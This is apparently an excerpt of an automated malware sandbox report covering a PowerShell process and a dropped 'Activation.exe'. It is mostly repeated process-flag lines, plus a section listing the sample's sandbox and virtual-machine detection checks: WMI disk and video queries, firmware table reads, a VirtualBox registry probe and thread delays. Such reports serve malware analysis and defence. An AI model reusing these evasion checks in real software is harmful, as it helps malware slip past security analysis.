Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Activation.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Activation.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Activation.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Activation.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Activation.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Jump to behavior

Source: C:\Users\user\AppData\Local\Activation.exe	Memory allocated: 1490000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Memory allocated: 33C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Memory allocated: 2D50000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Activation.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598446	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598328	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597016	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596346	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 567180	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5024	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4721	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6788	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2890	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Window / User API: threadDelayed 962	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Window / User API: threadDelayed 5941	Jump to behavior

